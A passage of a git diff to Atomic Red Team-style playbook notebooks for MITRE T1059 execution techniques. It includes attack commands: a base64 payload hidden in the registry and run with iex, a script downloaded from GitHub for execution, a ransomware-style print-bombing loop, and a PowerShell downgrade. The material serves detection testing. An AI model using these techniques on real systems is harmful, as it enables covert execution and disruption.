Powershell XML requests", @@ -208,14 +208,14 @@ { "cell_type": "code", "execution_count": null, - "id": "bab7528f", + "id": "e5b24526", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1059.001 -TestNumbers 8" }, { "cell_type": "markdown", - "id": "5452c2e9", + "id": "1e3ac59b", "metadata": {}, "source": [ "### Atomic Test #9 - Powershell invoke mshta.exe download", @@ -228,14 +228,14 @@ { "cell_type": "code", "execution_count": null, - "id": "64a8b633", + "id": "3412df3c", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1059.001 -TestNumbers 9" }, { "cell_type": "markdown", - "id": "8fe057df", + "id": "d20ee0f6", "metadata": {}, "source": [ "### Atomic Test #10 - Powershell Invoke-DownloadCradle", @@ -247,55 +247,55 @@ }, { "cell_type": "markdown", - "id": "c302fde7", + "id": "06bcb325", "metadata": {}, "source": [ "### Atomic Test #11 - PowerShell Fileless Script Execution", "Execution of a PowerShell payload from the Windows Registry similar to that seen in fileless malware infections. Upon exection, open \"C:\\Windows\\Temp\" and verify that\nart-marker.txt is in the folder.\n", "**Supported Platforms:** windows", "#### Attack Commands: Run with `powershell`\n", - "```powershell\n# Encoded payload in next command is the following \"Set-Content -path \"$env:SystemRoot/Temp/art-marker.txt\" -value \"Hello from the Atomic Red Team\"\"\nreg.exe add \"HKEY_CURRENT_USER\\Software\\Classes\\AtomicRedTeam\" /v ART /t REG_SZ /d \"U2V0LUNvbnRlbnQgLXBhdGggIiRlbnY6U3lzdGVtUm9vdC9UZW1wL2FydC1tYXJrZXIudHh0IiAtdmFsdWUgIkhlbGxvIGZyb20gdGhlIEF0b21pYyBSZWQgVGVhbSI=\"\niex ([Text.Encoding]::ASCII.GetString([Convert]::FromBase64String((gp 'HKCU:\\Software\\Classes\\AtomicRedTeam').ART)))\n```" + "```powershell\n# Encoded payload in next command is the following \"Set-Content -path \"$env:SystemRoot/Temp/art-marker.txt\" -value \"Hello from the Atomic Red Team\"\"\nreg.exe add \"HKEY_CURRENT_USER\\Software\\Classes\\AtomicRedTeam\" /v ART /t REG_SZ /d \"U2V0LUNvbnRlbnQgLXBhdGggIiRlbnY6U3lzdGVtUm9vdC9UZW1wL2FydC1tYXJrZXIudHh0IiAtdmFsdWUgIkhlbGxvIGZyb20gdGhlIEF0b21pYyBSZWQgVGVhbSI=\" /f\niex ([Text.Encoding]::ASCII.GetString([Convert]::FromBase64String((gp 'HKCU:\\Software\\Classes\\AtomicRedTeam').ART)))\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "9380f806", + "id": "dc92c973", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1059.001 -TestNumbers 11" }, { "cell_type": "markdown", - "id": "6faa7822", + "id": "961cacc9", "metadata": {}, "source": "#### Cleanup: \n```powershell\nRemove-Item -path C:\\Windows\\Temp\\art-marker.txt -Force -ErrorAction Ignore\nRemove-Item HKCU:\\Software\\Classes\\AtomicRedTeam -Force -ErrorAction Ignore\n```" }, { "cell_type": "code", "execution_count": null, - "id": "7418b021", + "id": "d5c07a46", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1059.001 -TestNumbers 11 -Cleanup" }, { "cell_type": "markdown", - "id": "2cc8a2e0", + "id": "be09c34c", "metadata": {}, "source": "### Atomic Test #12 - PowerShell Downgrade Attack\nThis test requires the manual installation of PowerShell V2.\n\nAttempts to run powershell commands in version 2.0 https://www.leeholmes.com/blog/2017/03/17/detecting-and-preventing-powershell-downgrade-attacks/\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: PowerShell version 2 must be installed\n\n##### Check Prereq Commands:\n```powershell\nif(2 -in $PSVersionTable.PSCompatibleVersions.Major) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nWrite-Host Automated installer not implemented yet, please install PowerShell v2 manually\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "f6487e62", + "id": "0a1e5de6", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1059.001 -TestNumbers 12 -GetPreReqs" }, { "cell_type": "markdown", - "id": "96c32503", + "id": "e5c950db", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", @@ -305,28 +305,28 @@ { "cell_type": "code", "execution_count": null, - "id": "73115d8d", + "id": "6fad3419", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1059.001 -TestNumbers 12" }, { "cell_type": "markdown", - "id": "5f3bf6e9", + "id": "45f70d58", "metadata": {}, "source": "### Atomic Test #13 - NTFS Alternate Data Stream Access\nCreates a file with an alternate data stream and simulates executing that hidden code/file. Upon execution, \"Stream Data Executed\" will be displayed.\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: Homedrive must be an NTFS drive\n\n##### Check Prereq Commands:\n```powershell\nif((Get-Volume -DriveLetter $env:HOMEDRIVE[0]).FileSystem -contains \"NTFS\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nWrite-Host Prereq's for this test cannot be met automatically\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "e5f321a7", + "id": "56255f88", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1059.001 -TestNumbers 13 -GetPreReqs" }, { "cell_type": "markdown", - "id": "25a0f2de", + "id": "e165fd74", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", @@ -336,42 +336,42 @@ { "cell_type": "code", "execution_count": null, - "id": "48cb0706", + "id": "8cd77a74", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1059.001 -TestNumbers 13" }, { "cell_type": "markdown", - "id": "5910b000", + "id": "55cb87ed", "metadata": {}, "source": "#### Cleanup: \n```powershell\nRemove-Item $env:TEMP\\NTFS_ADS.txt -Force -ErrorAction Ignore\n```" }, { "cell_type": "code", "execution_count": null, - "id": "3a32ea02", + "id": "67646afe", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1059.001 -TestNumbers 13 -Cleanup" }, { "cell_type": "markdown", - "id": "105998dc", + "id": "0c600f19", "metadata": {}, "source": "### Atomic Test #14 - PowerShell Session Creation and Use\nConnect to a remote powershell session and interact with the host.\nUpon execution, network test info and 'T1086 PowerShell Session Creation and Use' will be displayed.\n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: PSRemoting must be enabled\n\n##### Check Prereq Commands:\n```powershell\nTry {\n New-PSSession -ComputerName $env:COMPUTERNAME -ErrorAction Stop | Out-Null\n exit 0\n} \nCatch {\n exit 1\n}\n\n```\n##### Get Prereq Commands:\n```powershell\nEnable-PSRemoting\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "39fad452", + "id": "934cd47d", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1059.001 -TestNumbers 14 -GetPreReqs" }, { "cell_type": "markdown", - "id": "2e9970f0", + "id": "989d314c", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", @@ -381,28 +381,28 @@ { "cell_type": "code", "execution_count": null, - "id": "b5d725a7", + "id": "6553b5f7", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1059.001 -TestNumbers 14" }, { "cell_type": "markdown", - "id": "75c11232", + "id": "3c2b541d", "metadata": {}, "source": "### Atomic Test #15 - ATHPowerShellCommandLineParameter -Command parameter variations\nExecutes powershell.exe with variations of the -Command parameter\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: The AtomicTestHarnesses module must be installed and Out-ATHPowerShellCommandLineParameter must be exported in the module.\n##### Check Prereq Commands:\n```powershell\n$RequiredModule = Get-Module -Name AtomicTestHarnesses -ListAvailable\nif (-not $RequiredModule) {exit 1}\nif (-not $RequiredModule.ExportedCommands['Out-ATHPowerShellCommandLineParameter']) {exit 1} else {exit 0}\n```\n##### Get Prereq Commands:\n```powershell\nInstall-Module -Name AtomicTestHarnesses -Scope CurrentUser -Force\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "6407d758", + "id": "0da2cf30", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1059.001 -TestNumbers 15 -GetPreReqs" }, { "cell_type": "markdown", - "id": "bbf4392b", + "id": "98c82888", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", @@ -412,28 +412,28 @@ { "cell_type": "code", "execution_count": null, - "id": "66ca729d", + "id": "045c6299", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1059.001 -TestNumbers 15" }, { "cell_type": "markdown", - "id": "c169bf1f", + "id": "35f594d4", "metadata": {}, "source": "### Atomic Test #16 - ATHPowerShellCommandLineParameter -Command parameter variations with encoded arguments\nExecutes powershell.exe with variations of the -Command parameter with encoded arguments supplied\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: The AtomicTestHarnesses module must be installed and Out-ATHPowerShellCommandLineParameter must be exported in the module.\n##### Check Prereq Commands:\n```powershell\n$RequiredModule = Get-Module -Name AtomicTestHarnesses -ListAvailable\nif (-not $RequiredModule) {exit 1}\nif (-not $RequiredModule.ExportedCommands['Out-ATHPowerShellCommandLineParameter']) {exit 1} else {exit 0}\n```\n##### Get Prereq Commands:\n```powershell\nInstall-Module -Name AtomicTestHarnesses -Scope CurrentUser -Force\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "ef983cd8", + "id": "4e4289b5", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1059.001 -TestNumbers 16 -GetPreReqs" }, { "cell_type": "markdown", - "id": "2394dc8a", + "id": "ee5da5bc", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", @@ -443,28 +443,28 @@ { "cell_type": "code", "execution_count": null, - "id": "af179141", + "id": "2c1f24e8", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1059.001 -TestNumbers 16" }, { "cell_type": "markdown", - "id": "7c1b86fd", + "id": "b7d77586", "metadata": {}, "source": "### Atomic Test #17 - ATHPowerShellCommandLineParameter -EncodedCommand parameter variations\nExecutes powershell.exe with variations of the -EncodedCommand parameter\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: The AtomicTestHarnesses module must be installed and Out-ATHPowerShellCommandLineParameter must be exported in the module.\n##### Check Prereq Commands:\n```powershell\n$RequiredModule = Get-Module -Name AtomicTestHarnesses -ListAvailable\nif (-not $RequiredModule) {exit 1}\nif (-not $RequiredModule.ExportedCommands['Out-ATHPowerShellCommandLineParameter']) {exit 1} else {exit 0}\n```\n##### Get Prereq Commands:\n```powershell\nInstall-Module -Name AtomicTestHarnesses -Scope CurrentUser -Force\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "397cf6dc", + "id": "a5142cd6", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1059.001 -TestNumbers 17 -GetPreReqs" }, { "cell_type": "markdown", - "id": "65011247", + "id": "a8f5599f", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", @@ -474,28 +474,28 @@ { "cell_type": "code", "execution_count": null, - "id": "9b6d770c", + "id": "75de73ec", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1059.001 -TestNumbers 17" }, { "cell_type": "markdown", - "id": "f23a6d69", + "id": "a5cdeddf", "metadata": {}, "source": "### Atomic Test #18 - ATHPowerShellCommandLineParameter -EncodedCommand parameter variations with encoded arguments\nExecutes powershell.exe with variations of the -EncodedCommand parameter with encoded arguments supplied\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: The AtomicTestHarnesses module must be installed and Out-ATHPowerShellCommandLineParameter must be exported in the module.\n##### Check Prereq Commands:\n```powershell\n$RequiredModule = Get-Module -Name AtomicTestHarnesses -ListAvailable\nif (-not $RequiredModule) {exit 1}\nif (-not $RequiredModule.ExportedCommands['Out-ATHPowerShellCommandLineParameter']) {exit 1} else {exit 0}\n```\n##### Get Prereq Commands:\n```powershell\nInstall-Module -Name AtomicTestHarnesses -Scope CurrentUser -Force\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "dcd966b2", + "id": "58c4a9a0", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1059.001 -TestNumbers 18 -GetPreReqs" }, { "cell_type": "markdown", - "id": "fbd67692", + "id": "a30f17a3", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", @@ -505,14 +505,14 @@ { "cell_type": "code", "execution_count": null, - "id": "2c33eb08", + "id": "b36c8091", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1059.001 -TestNumbers 18" }, { "cell_type": "markdown", - "id": "500d2468", + "id": "83df2197", "metadata": {}, "source": [ "### Atomic Test #19 - PowerShell Command Execution", @@ -525,14 +525,14 @@ { "cell_type": "code", "execution_count": null, - "id": "77d5ff6b", + "id": "7e206132", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1059.001 -TestNumbers 19" }, { "cell_type": "markdown", - "id": "89a7ee53", + "id": "d4020e00", "metadata": {}, "source": [ "### Atomic Test #20 - PowerShell Invoke Known Malicious Cmdlets", @@ -546,14 +546,14 @@ { "cell_type": "code", "execution_count": null, - "id": "5b0ffad7", + "id": "5eb131bd", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1059.001 -TestNumbers 20" }, { "cell_type": "markdown", - "id": "a675584c", + "id": "06acbb21", "metadata": {}, "source": [ "### Atomic Test #21 - PowerUp Invoke-AllChecks", @@ -566,14 +566,14 @@ { "cell_type": "code", "execution_count": null, - "id": "02d22334", + "id": "73123ced", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1059.001 -TestNumbers 21" }, { "cell_type": "markdown", - "id": "9cfbdac9", + "id": "10ce898f", "metadata": {}, "source": [ "### Atomic Test #22 - Abuse Nslookup with DNS Records", @@ -586,14 +586,14 @@ { "cell_type": "code", "execution_count": null, - "id": "c0536a85", + "id": "f6602405", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1059.001 -TestNumbers 22" }, { "cell_type": "markdown", - "id": "af706fbf", + "id": "cb3291f7", "metadata": {}, "source": "## Detection\nIf proper execution policy is set, adversaries will likely be able to define their own execution policy if they obtain administrator or system access, either through the Registry or at the command line. This change in policy on a system may be a way to detect malicious use of PowerShell. If PowerShell is not used in an environment, then simply looking for PowerShell execution may detect malicious activity.\n\nMonitor for loading and/or execution of artifacts associated with PowerShell specific assemblies, such as System.Management.Automation.dll (especially to unusual process names/locations).(Citation: Sixdub PowerPick Jan 2016)(Citation: SilentBreak Offensive PS Dec 2015)\n\nIt is also beneficial to turn on PowerShell logging to gain increased fidelity in what occurs during execution (which is applied to .NET invocations). (Citation: Malware Archaeology PowerShell Cheat Sheet) PowerShell 5.0 introduced enhanced logging capabilities, and some of those features have since been added to PowerShell 4.0. Earlier versions of PowerShell do not have many logging features.(Citation: FireEye PowerShell Logging 2016) An organization can gather PowerShell execution details in a data analytic platform to supplement it with other data.\n\nConsider monitoring for Windows event ID (EID) 400, which shows the version of PowerShell executing in the EngineVersion field (which may also be relevant to detecting a potential [Downgrade Attack](https://attack.mitre.org/techniques/T1562/010)) as well as if PowerShell is running locally or remotely in the HostName field. Furthermore, EID 400 may indicate the start time and EID 403 indicates the end time of a PowerShell session.(Citation: inv_ps_attacks)" } @@ -601,13 +601,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/execution/T1059.002.ipynb b/playbook/tactics/execution/T1059.002.ipynb index 70ad48fc..4cd5b3a5 100644 --- a/playbook/tactics/execution/T1059.002.ipynb +++ b/playbook/tactics/execution/T1059.002.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "e9b49c1e", + "id": "8c155898", "metadata": {}, "source": "# T1059.002 - AppleScript\nAdversaries may abuse AppleScript for execution. AppleScript is a macOS scripting language designed to control applications and parts of the OS via inter-application messages called AppleEvents.(Citation: Apple AppleScript) These AppleEvent messages can be sent independently or easily scripted with AppleScript. These events can locate open windows, send keystrokes, and interact with almost any open application locally or remotely.\n\nScripts can be run from the command-line via osascript /path/to/script or osascript -e \"script here\". Aside from the command line, scripts can be executed in numerous ways including Mail rules, Calendar.app alarms, and Automator workflows. AppleScripts can also be executed as plain text shell scripts by adding #!/usr/bin/osascript to the start of the script file.(Citation: SentinelOne AppleScript)\n\nAppleScripts do not need to call osascript to execute. However, they may be executed from within mach-O binaries by using the macOS [Native API](https://attack.mitre.org/techniques/T1106)s\u00a0NSAppleScript\u00a0or\u00a0OSAScript, both of which execute code independent of the /usr/bin/osascript command line utility.\n\nAdversaries may abuse AppleScript to execute various behaviors, such as interacting with an open SSH connection, moving to remote machines, and even presenting users with fake dialog boxes. These events cannot start applications remotely (they can start them locally), but they can interact with applications if they're already running remotely. On macOS 10.10 Yosemite and higher, AppleScript has the ability to execute [Native API](https://attack.mitre.org/techniques/T1106)s, which otherwise would require compilation and execution in a mach-O binary file format.(Citation: SentinelOne macOS Red Team) Since this is a scripting language, it can be used to launch more common techniques as well such as a reverse shell via [Python](https://attack.mitre.org/techniques/T1059/006).(Citation: Macro Malware Targets Macs)" }, { "cell_type": "markdown", - "id": "f0d75b50", + "id": "1e252db9", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "98d9efff", + "id": "acfac5b0", "metadata": {}, "source": [ "### Atomic Test #1 - AppleScript", @@ -27,14 +27,14 @@ { "cell_type": "code", "execution_count": null, - "id": "ce3e0d58", + "id": "8a5daf22", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1059.002 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "1109994a", + "id": "9a2a0c62", "metadata": {}, "source": "## Detection\nMonitor for execution of AppleScript through osascript and usage of the NSAppleScript and OSAScript APIs that may be related to other suspicious behavior occurring on the system. Scripts are likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for script execution and subsequent behavior. Actions may be related to network and system information [Discovery](https://attack.mitre.org/tactics/TA0007), [Collection](https://attack.mitre.org/tactics/TA0009), or other scriptable post-compromise behaviors and could be used as indicators of detection leading back to the source script.\n\nUnderstanding standard usage patterns is important to avoid a high number of false positives. If scripting is restricted for normal users, then any attempts to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent." } @@ -42,13 +42,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/execution/T1059.003.ipynb b/playbook/tactics/execution/T1059.003.ipynb index dc7b3aea..b0e8cd63 100644 --- a/playbook/tactics/execution/T1059.003.ipynb +++ b/playbook/tactics/execution/T1059.003.ipynb @@ -2,64 +2,64 @@ "cells": [ { "cell_type": "markdown", - "id": "0de9a852", + "id": "2c22b448", "metadata": {}, "source": "# T1059.003 - Windows Command Shell\nAdversaries may abuse the Windows command shell for execution. The Windows command shell ([cmd](https://attack.mitre.org/software/S0106)) is the primary command prompt on Windows systems. The Windows command prompt can be used to control almost any aspect of a system, with various permission levels required for different subsets of commands. The command prompt can be invoked remotely via [Remote Services](https://attack.mitre.org/techniques/T1021) such as [SSH](https://attack.mitre.org/techniques/T1021/004).(Citation: SSH in Windows)\n\nBatch files (ex: .bat or .cmd) also provide the shell with a list of sequential commands to run, as well as normal scripting operations such as conditionals and loops. Common uses of batch files include long or repetitive tasks, or the need to run the same set of commands on multiple systems.\n\nAdversaries may leverage [cmd](https://attack.mitre.org/software/S0106) to execute various commands and payloads. Common uses include [cmd](https://attack.mitre.org/software/S0106) to execute a single command, or abusing [cmd](https://attack.mitre.org/software/S0106) interactively with input and output forwarded over a command and control channel." }, { "cell_type": "markdown", - "id": "df5646d1", + "id": "52e44940", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "829b8bde", + "id": "c78383c7", "metadata": {}, - "source": "### Atomic Test #1 - Create and Execute Batch Script\nCreates and executes a simple batch script. Upon execution, CMD will briefly launch to run the batch script then close again.\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: Batch file must exist on disk at specified location (#{script_path})\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path $env:TEMP\\T1059.003_script.bat) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item $env:TEMP\\T1059.003_script.bat -Force | Out-Null\nSet-Content -Path $env:TEMP\\T1059.003_script.bat -Value \"dir\"\n\n```" + "source": "### Atomic Test #1 - Create and Execute Batch Script\nCreates and executes a simple batch script. Upon execution, CMD will briefly launch to run the batch script then close again.\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: Batch file must exist on disk at specified location (#{script_path})\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path \"PathToAtomicsFolder\\..\\ExternalPayloads\\T1059.003_script.bat\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item \"PathToAtomicsFolder\\..\\ExternalPayloads\\T1059.003_script.bat\" -Force | Out-Null\nSet-Content -Path \"PathToAtomicsFolder\\..\\ExternalPayloads\\T1059.003_script.bat\" -Value \"dir\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "46bb65b3", + "id": "f14d7db3", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1059.003 -TestNumbers 1 -GetPreReqs" }, { "cell_type": "markdown", - "id": "b33f9730", + "id": "e4c5b1ca", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", - "```powershell\nStart-Process $env:TEMP\\T1059.003_script.bat\n```" + "```powershell\nStart-Process \"PathToAtomicsFolder\\..\\ExternalPayloads\\T1059.003_script.bat\"\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "650afbd8", + "id": "6bea28a0", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1059.003 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "f6174dc6", + "id": "26cf4a34", "metadata": {}, - "source": "#### Cleanup: \n```powershell\nRemove-Item $env:TEMP\\T1059.003_script.bat -Force -ErrorAction Ignore\n```" + "source": "#### Cleanup: \n```powershell\nRemove-Item \"PathToAtomicsFolder\\..\\ExternalPayloads\\T1059.003_script.bat\" -Force -ErrorAction Ignore\n```" }, { "cell_type": "code", "execution_count": null, - "id": "430fcd12", + "id": "4e63b0bf", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1059.003 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "62ee556c", + "id": "5bd15d06", "metadata": {}, "source": [ "### Atomic Test #2 - Writes text to a file and displays it.", @@ -72,28 +72,28 @@ { "cell_type": "code", "execution_count": null, - "id": "da872dfe", + "id": "ea5da261", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1059.003 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "077fde99", + "id": "4c9cf772", "metadata": {}, "source": "#### Cleanup: \n```cmd\ndel \"%TEMP%\\test.bin\" >nul 2>&1\n```" }, { "cell_type": "code", "execution_count": null, - "id": "2c2a16e4", + "id": "4bcc3a0a", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1059.003 -TestNumbers 2 -Cleanup" }, { "cell_type": "markdown", - "id": "e58eebe4", + "id": "9874f413", "metadata": {}, "source": [ "### Atomic Test #3 - Suspicious Execution via Windows Command Shell", @@ -106,90 +106,125 @@ { "cell_type": "code", "execution_count": null, - "id": "edd849d4", + "id": "f9127530", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1059.003 -TestNumbers 3" }, { "cell_type": "markdown", - "id": "ba4c339c", + "id": "ed02d358", "metadata": {}, - "source": "### Atomic Test #4 - Simulate BlackByte Ransomware Print Bombing\nThis test attempts to open a file a specified number of times in Wordpad, then prints the contents. \nIt is designed to mimic BlackByte ransomware's print bombing technique, where tree.dll, which contains the ransom note, is opened in Wordpad 75 times and then printed. \nSee https://redcanary.com/blog/blackbyte-ransomware/. \n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: File to print must exist on disk at specified location (#{file_to_print})\n\n##### Check Prereq Commands:\n```powershell\nif (test-path \"$env:temp\\T1059_003note.txt\"){exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nnew-item $env:temp\\T1059_003note.txt -value \"This file has been created by T1059.003 Test 4\" -Force | Out-Null\n\n```" + "source": "### Atomic Test #4 - Simulate BlackByte Ransomware Print Bombing\nThis test attempts to open a file a specified number of times in Wordpad, then prints the contents. \nIt is designed to mimic BlackByte ransomware's print bombing technique, where tree.dll, which contains the ransom note, is opened in Wordpad 75 times and then printed. \nSee https://redcanary.com/blog/blackbyte-ransomware/. \n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: File to print must exist on disk at specified location (#{file_to_print})\n\n##### Check Prereq Commands:\n```powershell\nif (test-path \"PathToAtomicsFolder\\..\\ExternalPayloads\\T1059_003note.txt\"){exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nnew-item \"PathToAtomicsFolder\\..\\ExternalPayloads\\T1059_003note.txt\" -value \"This file has been created by T1059.003 Test 4\" -Force | Out-Null\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "1ca42bde", + "id": "e9183f12", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1059.003 -TestNumbers 4 -GetPreReqs" }, { "cell_type": "markdown", - "id": "02935773", + "id": "474107db", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", - "```powershell\ncmd /c \"for /l %x in (1,1,75) do start wordpad.exe /p $env:temp\\T1059_003note.txt\" | out-null\n```" + "```powershell\ncmd /c \"for /l %x in (1,1,75) do start wordpad.exe /p PathToAtomicsFolder\\..\\ExternalPayloads\\T1059_003note.txt\" | out-null\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "eb9d6d6f", + "id": "ad5cb0a5", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1059.003 -TestNumbers 4" }, { "cell_type": "markdown", - "id": "d2f5750a", + "id": "1b30fee0", "metadata": {}, "source": "#### Cleanup: \n```powershell\nstop-process -name wordpad -force -erroraction silentlycontinue\n```" }, { "cell_type": "code", "execution_count": null, - "id": "9d958be6", + "id": "e171964c", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1059.003 -TestNumbers 4 -Cleanup" }, { "cell_type": "markdown", - "id": "f599ed80", + "id": "0f3ad4e7", "metadata": {}, - "source": "### Atomic Test #5 - Command Prompt read contents from CMD file and execute\nSimulate Raspberry Robin using the \"standard-in\" command prompt feature cmd `/R <` to read and execute a file via cmd.exe\nSee https://redcanary.com/blog/raspberry-robin/. \n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: CMD file must exist on disk at specified location (#{input_file})\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path PathToAtomicsFolder\\T1059.003\\src\\t1059.003_cmd.cmd) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nNew-Item -Type Directory (split-path PathToAtomicsFolder\\T1059.003\\src\\t1059.003_cmd.cmd) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1059.003/src/t1059.003_cmd.cmd\" -OutFile \"PathToAtomicsFolder\\T1059.003\\src\\t1059.003_cmd.cmd\"\n\n```" + "source": "### Atomic Test #5 - Command Prompt read contents from CMD file and execute\nSimulate Raspberry Robin using the \"standard-in\" command prompt feature cmd `/R <` to read and execute a file via cmd.exe\nSee https://redcanary.com/blog/raspberry-robin/. \n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: CMD file must exist on disk at specified location (#{input_file})\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path \"PathToAtomicsFolder\\T1059.003\\src\\t1059.003_cmd.cmd\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nNew-Item -Type Directory (split-path \"PathToAtomicsFolder\\T1059.003\\src\\t1059.003_cmd.cmd\") -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1059.003/src/t1059.003_cmd.cmd\" -OutFile \"PathToAtomicsFolder\\T1059.003\\src\\t1059.003_cmd.cmd\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "a7385831", + "id": "d8c0898f", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1059.003 -TestNumbers 5 -GetPreReqs" }, { "cell_type": "markdown", - "id": "48b7fbd1", + "id": "2ec98dc3", "metadata": {}, "source": [ "#### Attack Commands: Run with `command_prompt`\n", - "```command_prompt\ncmd /r cmd AtomicTest.vbs & AtomicTest.vbs```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "24baf5af", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1059.003 -TestNumbers 6" + }, + { + "cell_type": "markdown", + "id": "b5a30a2a", + "metadata": {}, + "source": "#### Cleanup: \n```cmd\ndel \"AtomicTest.vbs\" >nul 2>&1```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "1149e5f6", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1059.003 